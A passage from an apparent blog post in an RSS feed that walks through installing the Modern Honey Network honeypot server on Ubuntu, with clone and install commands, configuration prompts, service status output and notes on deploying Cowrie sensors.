Botnets. MHN is the C&amp;C Server while sensors are the bots.</p><p>Note that an MHN Server (or any other server) can host multiple sensors.</p><p>In other words, MHN Server must be hosted on a VPS or any server you wish, while Sensors can be installed on anything. Personally I use Ubuntu based VPS from <a href="https://www.vultr.com/?ref=7262094">Vultr</a>.</p><h4><strong>I know exactly what I want and skip me to the install!</strong></h4><p>SSH on your server or VPS which is running Ubuntu 16.04.</p><pre>sudo apt-get install git -y</pre><p>Install MHN.</p><pre>cd /opt/<br>sudo git clone https://github.com/threatstream/mhn.git<br>cd mhn/</pre><p>Run the following script to complete the installation. While this script runs, you will be prompted for some configuration options. See below for how this looks.</p><pre>sudo ./install.sh</pre><p>Configurations:</p><pre>===========================================================<br>MHN Configuration<br>===========================================================<br>Do you wish to run in Debug mode?: y/n n<br>Superuser email: YOUR_EMAIL@YOURSITE.COM<br>Superuser password: <br>Server base url [&quot;http://1.2.3.4&quot;]: <br>Honeymap url [&quot;http://1.2.3.4:3000&quot;]:<br>Mail server address [&quot;localhost&quot;]: <br>Mail server port [25]: <br>Use TLS for email?: y/n n<br>Use SSL for email?: y/n n<br>Mail server username [&quot;&quot;]: <br>Mail server password [&quot;&quot;]: <br>Mail default sender [&quot;&quot;]: <br>Path for log file [&quot;mhn.log&quot;]:</pre><p>Running:</p><p>If the installation scripts ran successfully, you should have a number of services running on your MHN server. See below for checking these.</p><pre>user@precise64:/opt/mhn/scripts$ sudo /etc/init.d/nginx status<br> * nginx is running<br>user@precise64:/opt/mhn/scripts$ sudo /etc/init.d/supervisor status<br> is running<br>user@precise64:/opt/mhn/scripts$ sudo supervisorctl status<br>geoloc                           RUNNING    pid 31443, uptime 0:00:12<br>honeymap                         RUNNING    pid 30826, uptime 0:08:54<br>hpfeeds-broker                   RUNNING    pid 10089, uptime 0:36:42<br>mhn-celery-beat                  RUNNING    pid 29909, uptime 0:18:41<br>mhn-celery-worker                RUNNING    pid 29910, uptime 0:18:41<br>mhn-collector                    RUNNING    pid 7872,  uptime 0:18:41<br>mhn-uwsgi                        RUNNING    pid 29911, uptime 0:18:41<br>mnemosyne                        RUNNING    pid 28173, uptime 0:30:08</pre><p>And, this is all. If you have some issues is either from missing dependency or basic mistakes. If none of that applies to you, then go here:</p><p><a href="https://github.com/threatstream/mhn/issues">https://github.com/threatstream/mhn/issues</a></p><p>At the end you should be able to see the followings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1P6M_UstvQLFeKYXBKvd6w.png" /><figcaption>Public available map on port 3000</figcaption></figure><p>And,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFXUSxxDsPf4jhTr2sxOYw.png" /><figcaption>Login page to MHN Server</figcaption></figure><p>After logging on your MHN with the default password and username you should be able to deploy honeypots with the automated scripts in Deploy section. As far as I know cowrie is the most easy to config and use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BxojMS8VwibSqeCZurZLaw.png" /><figcaption>Ubuntu Cowrie</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6acd1a04d4a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>